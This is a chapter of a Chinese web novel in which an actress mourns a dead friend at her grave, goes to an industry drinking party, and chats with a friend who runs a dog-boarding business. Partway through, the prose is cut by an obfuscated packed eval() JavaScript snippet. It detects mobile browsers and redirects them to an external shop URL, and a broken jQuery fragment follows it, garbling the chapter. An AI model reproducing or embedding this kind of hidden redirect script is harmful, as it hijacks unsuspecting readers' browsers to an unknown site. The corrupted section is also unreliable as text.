倪杉在京市的酒店住了一周。
先是剧本讨论会,紧接着是试装和定妆照,每一天都很忙,早出晚归,经常深夜才有时间吃饭。
在开机仪式的前两天,倪杉终于抽出一个下午的时间能去看看曾沐。
这次她自己去花店亲手选了一束花,上次她就忘记买花,这次特意买了很大一束绣球花,打车去了青羽山公墓。
这天天气很好,天蓝得发亮,倪杉穿了一条黑裙子,特意穿了新买的那双黑色高跟鞋。下了车。她步履飞快地穿过一排排墓碑,来到曾沐面前。
小时候学习武术有一个好处,有了肌肉和力量做功底,穿高跟鞋对她而言特别容易。
“hello,是我,你有没有想我呀,大明星。”
倪杉从包里拿出湿巾,熟练地擦拭曾沐的墓碑。
这个季节,京市多雨,墓碑上落了不少灰尘和污垢,曾沐爱干净,倪杉有点抱歉地想,原本四月就该来的,这么一耽搁就拖到了六七月。
上次来的时候,青羽山还是光秃秃的一片,只有一些山桃花在青黄色的草地上尴尬地开着,现如今整座山已经变成了浓郁的绿色,虽然是绿色,但也是绿色中不怎么好看的色度。
相比松谷山而言,青羽山格外安静,没有那么多千奇百怪的鸟叫声,整座山泡在浓郁的雾气中。明明都是山,在磁场上却完全不同。
倪杉围着曾沐的墓碑转了一圈。
“沐沐,我最近,认识了一个有点奇怪的人。”
“其实早就认识了,只是最近才开始熟悉起来。”
“她胆子很大,离经叛道,做的事情都很异想天开,很荒唐,和我们以前遇到的那些人都不一样。”
“她瞒着父母拿着留学的钱在榆城买了房子,开了个小狗幼儿园,偶尔还去松谷山下卖烤肠。你的一猪现在就寄养在她家。”
“她父母到现在为止都以为她在澳洲留学、实习,她还借用了我家的房间跟父母视频,说我是她的室友,还说我在澳洲打工的同时有个五岁的智障孩子。”
多缺德啊。
倪杉说着说着自己都笑了,她把绣球花整理了一下,摆放在墓碑前,看着曾沐的照片,心里软了一下。
“唉,沐沐,我后天有个新剧要开机了,双女主题材的电视剧,我戏份很多,几乎算是女二了。”
“我本来以为我会有一部双女主作品和你一起合作呢,想不到再也没有这个机会了。”
倪杉和曾沐在很多年前就讨论过,以后要一起合作一部双女主电视剧,哪怕没人找她们演,她们就自己当导演,自己找圈内的朋友筹备一个拍摄团队。曾沐想演古装剧,她要当女皇帝,让倪杉演她的爱妃,和其他女人在后宫为了得到她的宠爱而相互陷害、争宠。
倪杉想演女霸总,让曾沐演女霸总的死对头,隐婚,两人白天在职场商战,斗智斗勇,相互制衡,晚上回家一起吃饭一起上床,好不快乐。
“昨天拍定妆照,我和饰演妹妹的女演员一起拍的,她才21岁,好年轻,还在上学,没化妆的时候看着就是个小孩子。但是我们俩不熟,所以没什么默契,也没什么cp感,做一些亲密的互动时彼此都很尴尬。”
“沐沐。我好想你。”
倪杉有点累了,她换了个姿势蹲下,抱着膝盖,静静看着曾沐的照片。
照片上的曾沐再也不会变老了,永远停留在年轻又美丽的年纪。
她前几天又染了一次头发,为了拍定妆照的时候让自己看上去更完美,她没让桑桑帮忙,特意去发廊找造型师帮忙,把淡棕色的头发染回了黑色。
也有意外收获:黑发让倪杉看起来更年轻了。
她对着镜子,观察自己眼角的细纹,不知怎么的,她忽然问造型师:“奶奶灰色的头发如果褪了色会变成什么样?”
“白金色,就是头□□过之后的颜色。”
从青羽山公墓打车回到市区,倪杉约桑桑一起去吃饭。
这是倪杉和桑桑每次进组前的传统仪式,开机之前先去吃点好的。桑桑选了一家在网上很火的餐厅,提前在线上取了号,没等太久,两人在餐桌前面对面坐下,倪杉把点菜这件事交给桑桑,自己靠在椅子上有一搭没一搭地刷着手机。
每次从青羽山公墓回来,倪杉都会心情不好。
她可能这辈子都想不通,为什么出事的人偏偏是曾沐。
餐厅在放杨乃文的歌,曾沐和倪杉曾经在出租屋里伴着这首歌一边喝酒一边在沙发上蹦蹦跳跳。
当时是在庆祝什么事情来着?时隔久远,倪杉竟有些想不起来了。
这首歌也是曾沐先喜欢的,她推荐给倪杉,又带着倪杉去看了杨乃文的现场演唱,好漂亮好帅气,好有实力,倪杉一下子就爱上,当场被俘获。
“没有我的日子你好不好~我好无聊~”
这句歌词跨过时空,一下子砸在倪杉的心上。
桑桑在给她讲另一个演员的八卦,倪杉一边听一边表示惊讶,她一扭头,看见窗外的天空从桔红色过度到淡粉色,两人都拿起手机拍了照。
饭吃到一半,倪杉的经纪人给她发来消息,让她来另一个饭局。倪杉不敢耽搁,去收银台结了账,又去洗手间补了妆,她和桑桑说明情况,独自打车去了经纪人给的地址。
既然回了京市,这些酒局就没理由推脱,倪杉心里清楚,这酒自己不喝,就要经纪人来喝,她在心中很是过意不去,不能拒绝。
桑桑不仅是倪杉的助理,自从宣传离职之后,桑桑也算是她的半个宣传,经纪人有什么工作都是让桑桑传话和对接,至于这种直接联系倪杉的饭局都是非去不可的饭局,没得商量。
倪杉调整好状态,面带微笑地推门走进包厢。
果然是个重要的酒局,在座的各位都是叫的上名字的圈内人士,也不知道自己的经纪人是怎么混进去的。倪杉一眼就看到了经纪人身边坐着的女人,沈焰秋。沈焰秋也抬头看了她一眼,很巧,两人今晚都穿了黑色裙子。
沈焰秋自始至终没有和倪杉说一句话,一直在忙着攻略酒局里的关键人物,她要拿下导演和制片人,给许期欢争取到这个项目的女二号。
倪杉的经纪人也在努力为她争取配角,倪杉按照经纪人的指示,端着酒杯走上去和导演打了招呼做了自我简介,导演没怎么理她,对她很是冷淡,倪杉也不觉得气馁。
她喝干净杯子里的酒,心平气和地回到位置上,为了缓解尴尬,低头看了眼手机。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299300|198623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没想到还真有消息。
岁岁平安:“一猪妈妈现在方便视频吗?”
坚强坏女人:“现在不太行。”
岁岁平安:“还在忙?”
坚强坏女人:“对。”
岁岁平安:“一猪已经睡了,你忙完了和我说一声,我给你们视频连线。”
坚强坏女人:“好。”
岁岁平安没再打扰她,给她发来了一张一猪的照片。
林岁安正坐在卧室的床上玩拼图,
拼图是秦筝送她的。秦筝和女朋友买来本来打算慢慢拼,结果两人都高估了自己的能力和耐心,过去三个多月,拼接进度为零。秦筝越看越觉得这套拼图碍事,越看越不顺眼,索性送给了林岁安。
她觉得林岁安住在与世隔绝的山脚下,特别适合玩这种东西。
林岁安收到拼图后,花了一下午时间就拼好了三分之一。她确实很有耐心,外加她现在很清闲,目前在寄养的小狗只有一猪,还有两只豹猫,因此工作量减轻了不少。
她看了眼时间,已经晚上十点半了,倪杉竟然还在忙。
谁说做演员容易呢,明明很辛苦嘛。
她特别想给倪杉发一条消息,问问她到底是卖烤肠轻松还是当演员轻松,又怕在线上被暴打。
她也不知道自己怎么了,总想在倪杉面前开玩笑抖机灵,倪杉一生气她就觉得好开心,从而心满意足地离开。
林岁安等倪杉等到十一点,始终没有等到倪杉的消息,最终倒在床上沉沉睡去。
她已经习惯了一猪睡觉的呼噜声。一开始有点接受不了,总觉得家里好像睡了个活男人,后来彻底放弃了挣扎,把一猪的呼噜声当成白噪音来享受。
酒局一直持续到凌晨两点。
倪杉喝的不算多,她的经纪人已经彻底醉了,摊在椅子上几乎睡了过去。倪杉帮他叫了车,这个时间,京市的市中心打车要排队,几百号人都在叫车。
多亏沈焰秋帮了她一把,两个女孩一起把醉倒的人丢进车里,关上车门,两人不约而同地松了一口气。
“我看过你演的剧,你戏很好。”沈焰秋对她说。
“谢谢。”被这么一夸,倪杉有点受宠若惊。
“曾沐也是我朋友,之前我们在剧组经常一起聊天吃饭。”
沈焰秋站在街边,京市的夜晚依旧灯火通明,格外热闹。
“她当时聊的最多的话题就是关于你的,那时候我还不知道你,没看过你演的作品,也没听过你的名字。”
倪杉站在她身边,低着头,看着自己的脚面。
曾沐当初签了公司,发展得很好,比倪杉的知名度更高。倪杉当时一边替曾沐感到开心,一边适当地远离了她。
曾沐火了之后,她和曾沐从没公开出席过任何活动,也没有合作过任何作品。她刻意把自己隐藏起来,不愿去蹭曾沐的热度和气运,可曾沐却始终和别人说:倪杉是从小和我一起长大的朋友,她也在做演员,很努力,很优秀。
沈焰秋说的这些,倪杉一直都知道,每听一次,原本破碎的心好像又碎了几分,从渣子变成了粉末。
“希望有机会能在剧组见到你,我的车到了,再见。”